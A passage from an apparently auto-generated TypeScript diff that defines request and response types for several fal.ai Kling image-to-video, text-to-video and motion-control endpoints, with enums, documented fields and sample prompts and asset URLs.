InputFalAiKlingVideoV25TurboProImageToVideoDurationEnumKey = + (typeof inputFalAiKlingVideoV25TurboProImageToVideoDurationEnum)[keyof typeof inputFalAiKlingVideoV25TurboProImageToVideoDurationEnum] + +export type InputFalAiKlingVideoV25TurboProImageToVideo = { + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt. + * + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + cfg_scale?: number + /** + * @description URL of the image to be used for the video + * @example https://v3.fal.media/files/panda/HnY2yf-BbzlrVQxR-qP6m_9912d0932988453aadf3912fc1901f52.jpg + * @type string + */ + image_url: string + /** + * @description The duration of the generated video in seconds + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiKlingVideoV25TurboProImageToVideoDurationEnumKey + /** + * @maxLength 2500 + * @default 'blur, distort, and low quality' + * @type string | undefined + */ + negative_prompt?: string + /** + * @maxLength 2500 + * @example A stark starting line divides two powerful cars, engines revving for the challenge ahead. They surge forward in the heat of competition, a blur of speed and chrome. The finish line looms as they vie for victory. + * @type string + */ + prompt: string + /** + * @description URL of the image to be used for the end of the video + */ + tail_image_url?: string | null + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File341E47F8 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiKlingVideoV25TurboProImageToVideo = { + /** + * @description The generated video + * @example {"url":"https://storage.googleapis.com/falserverless/model_tests/kling/kling-v2.5-turbo-pro-image-to-video-output.mp4"} + * @type object + */ + video: File341E47F8 +} + +export const inputFalAiKlingVideoV25TurboProTextToVideoDurationEnum = { + '5': '5', + '10': '10', +} as const + +export type InputFalAiKlingVideoV25TurboProTextToVideoDurationEnumKey = + (typeof inputFalAiKlingVideoV25TurboProTextToVideoDurationEnum)[keyof typeof inputFalAiKlingVideoV25TurboProTextToVideoDurationEnum] + +export const inputFalAiKlingVideoV25TurboProTextToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiKlingVideoV25TurboProTextToVideoAspectRatioEnumKey = + (typeof inputFalAiKlingVideoV25TurboProTextToVideoAspectRatioEnum)[keyof typeof inputFalAiKlingVideoV25TurboProTextToVideoAspectRatioEnum] + +export type InputFalAiKlingVideoV25TurboProTextToVideo = { + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt. + * + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + cfg_scale?: number + /** + * @maxLength 2500 + * @example A noble lord walks among his people, his presence a comforting reassurance. He greets them with a gentle smile, embodying their hopes and earning their respect through simple interactions. The atmosphere is intimate and sincere, highlighting the bond between the leader and community. + * @type string + */ + prompt: string + /** + * @description The duration of the generated video in seconds + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiKlingVideoV25TurboProTextToVideoDurationEnumKey + /** + * @maxLength 2500 + * @default 'blur, distort, and low quality' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The aspect ratio of the generated video frame + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiKlingVideoV25TurboProTextToVideoAspectRatioEnumKey + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File9D53F996 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiKlingVideoV25TurboProTextToVideo = { + /** + * @description The generated video + * @example {"url":"https://storage.googleapis.com/falserverless/model_tests/kling/kling-v2.5-turbo-pro-text-to-video-output.mp4"} + * @type object + */ + video: File9D53F996 +} + +export const inputFalAiKlingVideoV25TurboStandardImageToVideoDurationEnum = { + '5': '5', + '10': '10', +} as const + +export type InputFalAiKlingVideoV25TurboStandardImageToVideoDurationEnumKey = + (typeof inputFalAiKlingVideoV25TurboStandardImageToVideoDurationEnum)[keyof typeof inputFalAiKlingVideoV25TurboStandardImageToVideoDurationEnum] + +export type InputFalAiKlingVideoV25TurboStandardImageToVideo = { + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt. + * + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + cfg_scale?: number + /** + * @description URL of the image to be used for the video + * @example https://v3b.fal.media/files/b/0a975417/w4qtfMTu-mh_KUgHIZNAH__4BUACOxwlMAEVXDfeYbj_2UxyAg3W.jpg + * @type string + */ + image_url: string + /** + * @description The duration of the generated video in seconds + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiKlingVideoV25TurboStandardImageToVideoDurationEnumKey + /** + * @maxLength 2500 + * @default 'blur, distort, and low quality' + * @type string | undefined + */ + negative_prompt?: string + /** + * @maxLength 2500 + * @example Fine grains of salt drift across the flats in a slow, low wind, streaming past the figure's feet. The figure's robe ripples. Light crawls down the face of the monolith as the sun rises millimeter by millimeter — a slow wash of coral replacing indigo. The figure tilts their head upward. Camera creeps forward almost imperceptibly. Monumental, spiritual, glacial. + * @type string + */ + prompt: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File51E95Fd6 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiKlingVideoV25TurboStandardImageToVideo = { + /** + * @description The generated video + * @example {"file_size":16536912,"content_type":"video/mp4","url":"https://v3b.fal.media/files/b/0a97541e/EiyjY6_Fjf7XPgR7nUli5_output.mp4","file_name":"output.mp4"} + * @type object + */ + video: File51E95Fd6 +} + +export const inputFalAiKlingVideoV26ProImageToVideoDurationEnum = { + '5': '5', + '10': '10', +} as const + +export type InputFalAiKlingVideoV26ProImageToVideoDurationEnumKey = + (typeof inputFalAiKlingVideoV26ProImageToVideoDurationEnum)[keyof typeof inputFalAiKlingVideoV26ProImageToVideoDurationEnum] + +export type InputFalAiKlingVideoV26ProImageToVideo = { + /** + * @description Optional Voice IDs for video generation. Reference voices in your prompt with <<>> and <<>> (maximum 2 voices per task). Get voice IDs from the kling video create-voice endpoint: https://fal.ai/models/fal-ai/kling-video/create-voice + */ + voice_ids?: string[] | null + /** + * @description The duration of the generated video in seconds + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiKlingVideoV26ProImageToVideoDurationEnumKey + /** + * @description URL of the image to be used for the end of the video + */ + end_image_url?: string | null + /** + * @maxLength 2500 + * @example A king walks slowly and says "My people, here I am! I am here to save you all" + * @type string + */ + prompt: string + /** + * @description Whether to generate native audio for the video. Supports Chinese and English voice output. Other languages are automatically translated to English. For English speech, use lowercase letters; for acronyms or proper nouns, use uppercase. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @maxLength 2500 + * @default 'blur, distort, and low quality' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description URL of the image to be used for the video + * @example https://v3b.fal.media/files/b/0a84ab29/BSJXz9Ht-jgRgMf4IGxLU_upscaled.png + * @type string + */ + start_image_url: string + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileDf3E85E4 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiKlingVideoV26ProImageToVideo = { + /** + * @description The generated video + * @example {"file_size":11814817,"content_type":"video/mp4","url":"https://v3b.fal.media/files/b/0a84ab51/Qr1twf8UgtD5rZHpNXC2P_output.mp4","file_name":"output.mp4"} + * @type object + */ + video: FileDf3E85E4 +} + +export const inputFalAiKlingVideoV26ProMotionControlCharacterOrientationEnum = { + image: 'image', + video: 'video', +} as const + +export type InputFalAiKlingVideoV26ProMotionControlCharacterOrientationEnumKey = + (typeof inputFalAiKlingVideoV26ProMotionControlCharacterOrientationEnum)[keyof typeof inputFalAiKlingVideoV26ProMotionControlCharacterOrientationEnum] + +/** + * @description Request model for motion control video generation. + * @type object + */ +export type InputFalAiKlingVideoV26ProMotionControl = { + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Whether to keep the original sound from the reference video. + * @default true + * @type boolean | undefined + */ + keep_original_sound?: boolean + /** + * @description Controls whether the output character's orientation matches the reference image or video. 'video': orientation matches reference video - better for complex motions (max 30s). 'image': orientation matches reference image - better for following camera movements (max 10s). + * @example video + * @type string + */ + character_orientation: InputFalAiKlingVideoV26ProMotionControlCharacterOrientationEnumKey + /** + * @description Reference image URL. The characters, backgrounds, and other elements in the generated video are based on this reference image. Characters should have clear body proportions, avoid occlusion, and occupy more than 5% of the image area. + * @example https://v3b.fal.media/files/b/0a875302/8NaxQrQxDNHppHtqcchMm.png + * @type string + */ + image_url: string + /** + * @example An african american woman dancing + */ + prompt?: string | null + /** + * @description Reference video URL. The character actions in the generated video will be consistent with this reference video. Should contain a realistic style character with entire body or upper body visible, including head, without obstruction. Duration limit depends on character_orientation: 10s max for 'image', 30s max for 'video'. + * @type string + */ + video_url: string +} + +export type File1D822C59 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +/** + * @description Output model for motion control video generation. + * @type object + */ +export type OutputFalAiKlingVideoV26ProMotionControl = { + /** + * @description The generated video + * @example {"file_size":35299865,"content_type":"video/mp4","url":"https://v3b.fal.media/files/b/0a875336/8p3rFiXtx3fE2TLoh59KP_output.mp4","file_name":"output.mp4"} + * @type object + */ + video: File1D822C59 +} + +export const inputFalAiKlingVideoV26ProTextToVideoDurationEnum = { + '5': '5', + '10': '10', +} as const + +export type InputFalAiKlingVideoV26ProTextToVideoDurationEnumKey = + (typeof inputFalAiKlingVideoV26ProTextToVideoDurationEnum)[keyof typeof inputFalAiKlingVideoV26ProTextToVideoDurationEnum] + +export const inputFalAiKlingVideoV26ProTextToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiKlingVideoV26ProTextToVideoAspectRatioEnumKey = + (typeof inputFalAiKlingVideoV26ProTextToVideoAspectRatioEnum)[keyof typeof inputFalAiKlingVideoV26ProTextToVideoAspectRatioEnum] + +export type InputFalAiKlingVideoV26ProTextToVideo = { + /** + * @description Whether to generate native audio for the video. Supports Chinese and English voice output. Other languages are automatically translated to English. For English speech, use lowercase letters; for acronyms or proper nouns, use uppercase. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt. + * + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + cfg_scale?: number + /** + * @description The duration of the generated video in seconds + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiKlingVideoV26ProTextToVideoDurationEnumKey + /** + * @maxLength 2500 + * @default 'blur, distort, and low quality' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The aspect ratio of the generated video frame + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiKlingVideoV26ProTextToVideoAspectRatioEnumKey + /** + * @maxLength 2500 + * @example Old friends reuniting at a train station after 20 years, one exclaims 'Is that really you?!' other tearfully replies 'I promised I'd come back, didn't I?', train whistle, steam hissing, emotional orchestral swell, crowd murmur + * @type string + */ + prompt: string + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File1379527A = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiKlingVideoV26ProTextToVideo = { + /** + * @description The generated video + * @example {"file_size":8195664,"content_type":"video/mp4","url":"https://v3b.fal.media/files/b/0a84ab71/8hPbLs7n59WhWY-BN69yX_output.mp4","file_name":"output.mp4"} + * @type object + */ + video: File1379527A +} + +export const inputFalAiKlingVideoV26StandardMotionControlCharacterOrientationEnum = + { + image: 'image', + video: 'video', + } as const + +export type InputFalAiKlingVideoV26StandardMotionControlCharacterOrientationEnumKey = + (typeof inputFalAiKlingVideoV26StandardMotionControlCharacterOrientationEnum)[keyof typeof inputFalAiKlingVideoV26StandardMotionControlCharacterOrientationEnum] + +/** + * @description Request model for motion control video generation. + * @type object + */ +export type InputFalAiKlingVideoV26StandardMotionControl = { + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Whether to keep the original sound from the reference video. + * @default true + * @type boolean | undefined + */ + keep_original_sound?: boolean + /** + * @description Controls whether the output character's orientation matches the reference image or video. 'video': orientation matches reference video - better for complex motions (max 30s). 'image': orientation matches reference image - better for following camera movements (max 10s). + * @example video + * @type string + */ + character_orientation: InputFalAiKlingVideoV26StandardMotionControlCharacterOrientationEnumKey + /** + * @description Reference image URL. The characters, backgrounds, and other elements in the generated video are based on this reference image. Characters should have clear body proportions, avoid occlusion, and occupy more than 5% of the image area. + * @example https://v3b.fal.media/files/b/0a875302/8NaxQrQxDNHppHtqcchMm.png + * @type string + */ + image_url: string + /** + * @example An african american woman dancing + */ + prompt?: string | null + /** + * @description Reference video URL. The character actions in the generated video will be consistent with this reference video. Should contain a realistic style character with entire body or upper body visible, including head, without obstruction. Duration limit depends on character_orientation: 10s max for 'image', 30s max for 'video'. + * @type string + */ + video_url: string +} + +export type File2B9Bc55F = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +/** + * @description Output model for motion control video generation. + * @type object + */ +export type OutputFalAiKlingVideoV26StandardMotionControl = { + /** + * @description The generated video + * @example {"file_size":35299865,"content_type":"video/mp4","url":"https://v3b.fal.media/files/b/0a875336/8p3rFiXtx3fE2TLoh59KP_output.mp4","file_name":"output.mp4"} + * @type object + */ + video: File2B9Bc55F +} + +export const inputFalAiKlingVideoV34KImageToVideoDurationEnum = { + '3': '3', + '4': '4', + '5': '5', + '6': '6', + '7': '7', + '8': '8', + '9': '9', + '10': '10', + '11': '11', + '12': '12', + '13': '13', + '14': '14', + '15': '15', +} as const + +export type InputFalAiKlingVideoV34KImageToVideoDurationEnumKey = + (typeof inputFalAiKlingVideoV34KImageToVideoDurationEnum)[keyof typeof inputFalAiKlingVideoV34KImageToVideoDurationEnum] + +export const inputFalAiKlingVideoV34KImageToVideoShotTypeEnum = { + customize: 'customize', + intelligent: 'intelligent', +} as const + +export type InputFalAiKlingVideoV34KImageToVideoShotTypeEnumKey = + (typeof inputFalAiKlingVideoV34KImageToVideoShotTypeEnum)[keyof typeof inputFalAiKlingVideoV34KImageToVideoShotTypeEnum] + +export type InputFalAiKlingVideoV34KImageToVideo = { + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt. + * + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + cfg_scale?: number + /** + * @description The duration of the generated video in seconds + * @default '5' + * @example 12 + * @type string | undefined + */ + duration?: InputFalAiKlingVideoV34KImageToVideoDurationEnumKey + /** + * @description URL of the image to be used for the end of the video + */ + end_image_url?: string | null + /** + * @description Elements (characters/objects) to include in the video. Each example can either be an image set (frontal + reference images) or a video. Reference in prompt as @Element1, @Element2, etc. + * @example [{"reference_image_urls":["https://v3b.fal.media/files/b/0a8cfd62/psPCmzrD1y9vDgdyNfKAL_glasses_back.png"],"frontal_image_url":"https://v3b.fal.media/files/b/0a8cfd5f/-kZL-ha3Iuelku5IHXC-A_glasses.png"},{"video_url":"https://v3b.fal.media/files/b/0a8cfd66/b03SOiQvKLlFx_jqdNZ9z_child_video.mp4"}] + */ + elements?: KlingV3ComboElementInput[] | null + /** + * @description The type of multi-shot video generation. 'intelligent' lets the model automatically determine shot structure. + * @default 'customize' + * @type string | undefined + */ + shot_type?: InputFalAiKlingVideoV34KImageToVideoShotTypeEnumKey + /** + * @description Text prompt for video generation. Either prompt or multi_prompt must be provided, but not both. + * @example The craftsman slowly examines the bowl, turning it gently in his weathered hands. His eyes reflect years of wisdom. Subtle smile forms on his face. Dust particles drift in warm light. Breathing motion, blinking eyes. + */ + prompt?: string | null + /** + * @description Whether to generate native audio for the video. Supports Chinese and English voice output. Other languages are automatically translated to English. For English speech, use lowercase letters; for acronyms or proper nouns, use uppercase. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @maxLength 2500 + * @default 'blur, distort, and low quality' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description URL of the image to be used for the video + * @example https://storage.googleapis.com/falserverless/example_inputs/kling-v3/pro-i2v/start_image.png + * @type string + */ + start_image_url: string + /** + * @description List of prompts for multi-shot video generation. If provided, divides the video into multiple shots. + * @example null + */ + multi_prompt?: KlingV3MultiPromptElement[] | null + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File21927571 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiKlingVideoV34KImageToVideo = { + /** + * @description The generated video + * @example {"file_size":8431922,"content_type":"video/mp4","url":"https://storage.googleapis.com/falserverless/example_outputs/kling-v3/pro-i2v/out.mp4","file_name":"out.mp4"} + * @type object + */ + video: File21927571 +} + +export const inputFalAiKlingVideoV34KTextToVideoDurationEnum = { + '3': '3', + '4': '4', + '5': '5', + '6': '6', + '7': '7', + '8': '8', + '9': '9', + '10': '10', + '11': '11', + '12': '12', + '13': '13', + '14': '14', + '15': '15', +} as const + +export type InputFalAiKlingVideoV34KTextToVideoDurationEnumKey = + (typeof inputFalAiKlingVideoV34KTextToVideoDurationEnum)[keyof typeof inputFalAiKlingVideoV34KTextToVideoDurationEnum] + +export const inputFalAiKlingVideoV34KTextToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiKlingVideoV34KTextToVideoAspectRatioEnumKey = + (typeof inputFalAiKlingVideoV34KTextToVideoAspectRatioEnum)[keyof typeof inputFalAiKlingVideoV34KTextToVideoAspectRatioEnum] + +export const inputFalAiKlingVideoV34KTextToVideoShotTypeEnum = { + customize: 'customize', + intelligent: 'intelligent', +} as const + +export type InputFalAiKlingVideoV34KTextToVideoShotTypeEnumKey = + (typeof inputFalAiKlingVideoV34KTextToVideoShotTypeEnum)[keyof typeof inputFalAiKlingVideoV34KTextToVideoShotTypeEnum] + +export type InputFalAiKlingVideoV34KTextToVideo = { + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt. + * + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + cfg_scale?: number + /** + * @description The duration of the generated video in seconds + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiKlingVideoV34KTextToVideoDurationEnumKey + /** + * @description The aspect ratio of the generated video frame + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiKlingVideoV34KTextToVideoAspectRatioEnumKey + /** + * @description The type of multi-shot video generation. 'intelligent' lets the model automatically determine shot structure. + * @default 'customize' + * @type string | undefined + */ + shot_type?: InputFalAiKlingVideoV34KTextToVideoShotTypeEnumKey + /** + * @description Text prompt for video generation. Either prompt or multi_prompt must be provided, but not both. + * @example Close-up of glowing fireflies dancing in a dark forest at twilight. Soft bioluminescent particles float through the air. Shallow depth of field, bokeh lights in background. Magical atmosphere, gentle movement. + */ + prompt?: string | null + /** + * @description Whether to generate native audio for the video. Supports Chinese and English voice output. Other languages are automatically translated to English. For English speech, use lowercase letters; for acronyms or proper nouns, use uppercase. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @maxLength 2500 + * @default 'blur, distort, and low quality' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description List of prompts for multi-shot video generation. If provided, overrides the single prompt and divides the video into multiple shots with specified prompts and durations. + * @example null + */ + multi_prompt?: KlingV3MultiPromptElement[] | null + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File8Cd3C225 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiKlingVideoV34KTextToVideo = { + /** + * @description The generated video + * @example {"file_size":8062911,"content_type":"video/mp4","url":"https://storage.googleapis.com/falserverless/example_outputs/kling-v3/pro-t2v/out.mp4","file_name":"output.mp4"} + * @type object + */ + video: File8Cd3C225 +} + +export const inputFalAiKlingVideoV3ProImageToVideoDurationEnum = { + '3': '3', + '4': '4', + '5': '5', + '6': '6', + '7': '7', + '8': '8', + '9': '9', + '10': '10', + '11': '11', + '12': '12', + '13': '13', + '14': '14', + '15': '15', +} as const + +export type InputFalAiKlingVideoV3ProImageToVideoDurationEnumKey = + (typeof inputFalAiKlingVideoV3ProImageToVideoDurationEnum)[keyof typeof inputFalAiKlingVideoV3ProImageToVideoDurationEnum] + +export const inputFalAiKlingVideoV3ProImageToVideoShotTypeEnum = { + customize: 'customize', + intelligent: 'intelligent', +} as const + +export type InputFalAiKlingVideoV3ProImageToVideoShotTypeEnumKey = + (typeof inputFalAiKlingVideoV3ProImageToVideoShotTypeEnum)[keyof typeof inputFalAiKlingVideoV3ProImageToVideoShotTypeEnum] + +export type InputFalAiKlingVideoV3ProImageToVideo = { + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt. + * + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + cfg_scale?: number + /** + * @description The duration of the generated video in seconds + * @default '5' + * @example 12 + * @type string | undefined + */ + duration?: InputFalAiKlingVideoV3ProImageToVideoDurationEnumKey + /** + * @description URL of the image to be used for the end of the video + */ + end_image_url?: string | null + /** + * @description Elements (characters/objects) to include in the video. Each example can either be an image set (frontal + reference images) or a video. Reference in prompt as @Element1, @Element2, etc. + * @example [{"reference_image_urls":["https://v3b.fal.media/files/b/0a8cfd62/psPCmzrD1y9vDgdyNfKAL_glasses_back.png"],"frontal_image_url":"https://v3b.fal.media/files/b/0a8cfd5f/-kZL-ha3Iuelku5IHXC-A_glasses.png"},{"video_url":"https://v3b.fal.media/files/b/0a8cfd66/b03SOiQvKLlFx_jqdNZ9z_child_video.mp4"}] + */ + elements?: KlingV3ComboElementInput[] | null + /** + * @description The type of multi-shot video generation. 'intelligent' lets the model automatically determine shot structure. + * @default 'customize' + * @type string | undefined + */ + shot_type?: InputFalAiKlingVideoV3ProImageToVideoShotTypeEnumKey + /** + * @description Text prompt for video generation. Either prompt or multi_prompt must be provided, but not both. + * @example The craftsman slowly examines the bowl, turning it gently in his weathered hands. His eyes reflect years of wisdom. Subtle smile forms on his face. Dust particles drift in warm light. Breathing motion, blinking eyes. + */ + prompt?: string | null + /** + * @description Whether to generate native audio for the video. Supports Chinese and English voice output. Other languages are automatically translated to English. For English speech, use lowercase letters; for acronyms or proper nouns, use uppercase. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @maxLength 2500 + * @default 'blur, distort, and low quality' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description URL of the image to be used for the video + * @example https://storage.googleapis.com/falserverless/example_inputs/kling-v3/pro-i2v/start_image.png + * @type string + */ + start_image_url: string + /** + * @description List of prompts for multi-shot video generation. If provided, divides the video into multiple shots. + * @example null + */ + multi_prompt?: KlingV3MultiPromptElement[] | null + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileB8C06A81 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiKlingVideoV3ProImageToVideo = { + /** + * @description The generated video + * @example {"file_size":8431922,"content_type":"video/mp4","url":"https://storage.googleapis.com/falserverless/example_outputs/kling-v3/pro-i2v/out.mp4","file_name":"out.mp4"} + * @type object + */ + video: FileB8C06A81 +} + +export const inputFalAiKlingVideoV3ProMotionControlCharacterOrientationEnum = { + image: 'image', + video: 'video', +} as const + +export type InputFalAiKlingVideoV3ProMotionControlCharacterOrientationEnumKey = + (typeof inputFalAiKlingVideoV3ProMotionControlCharacterOrientationEnum)[keyof typeof inputFalAiKlingVideoV3ProMotionControlCharacterOrientationEnum] + +export type InputFalAiKlingVideoV3ProMotionControl = { + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Whether to keep the original sound from the reference video. + * @default true + * @type boolean | undefined + */ + keep_original_sound?: boolean + /** + * @description Controls whether the output character's orientation matches the reference image or video. 'video': orientation matches reference video - better for complex motions (max 30s). 'image': orientation matches reference image - better for following camera movements (max 10s). + * @example image + * @type string + */ + character_orientation: InputFalAiKlingVideoV3ProMotionControlCharacterOrientationEnumKey + /** + * @description Reference image URL. The characters, backgrounds, and other elements in the generated video are based on this reference image. Characters should have clear body proportions, avoid occlusion, and occupy more than 5% of the image area. + * @example https://v3b.fal.media/files/b/0a90ffa7/TNErq9yD7ZxGRATjfAqnh_EIgJSN67.png + * @type string + */ + image_url: string + /** + * @description Optional element for facial consistency binding. Upload a facial element to enhance identity preservation in the generated video. Only 1 element is supported. Reference in prompt as @Element1. Element binding is only supported when character_orientation is 'video'. + * @example null + */ + elements?: KlingV3ImageElementInput[] | null + /** + * @example A man dancing + */ + prompt?: string | null + /** + * @description Reference video URL. The character actions in the generated video will be consistent with this reference video. Should contain a realistic style character with entire body or upper body visible, including head, without obstruction. Duration limit depends on character_orientation: 10s max for 'image', 30s max for 'video'. + * @example https://v3b.fal.media/files/b/0a90ff92/hklvF__w53diz6Rve7f5__JuDW2xl0mr6sJ_Kjz3Vxe_vidoeook%20(1)_1.mp4 + * @type string + */ + video_url: string +} + +export type File08862650 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiKlingVideoV3ProMotionControl = { + /** + * @description The generated video + * @example {"url":"https://v3b.fal.media/files/b/0a90ffb9/CnmmxIvK05VAq4gG8WiEQ_output.mp4"} + * @type object + */ + video: File08862650 +} + +export const inputFalAiKlingVideoV3ProTextToVideoDurationEnum = { + '3': '3', + '4': '4', + '5': '5', + '6': '6', + '7': '7', + '8': '8', + '9': '9', + '10': '10', + '11': '11', + '12': '12', + '13': '13', + '14': '14', + '15': '15', +} as const + +export type InputFalAiKlingVideoV3ProTextToVideoDurationEnumKey = + (typeof inputFalAiKlingVideoV3ProTextToVideoDurationEnum)[keyof typeof inputFalAiKlingVideoV3ProTextToVideoDurationEnum] + +export const inputFalAiKlingVideoV3ProTextToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiKlingVideoV3ProTextToVideoAspectRatioEnumKey = + (typeof inputFalAiKlingVideoV3ProTextToVideoAspectRatioEnum)[keyof typeof inputFalAiKlingVideoV3ProTextToVideoAspectRatioEnum] + +export const 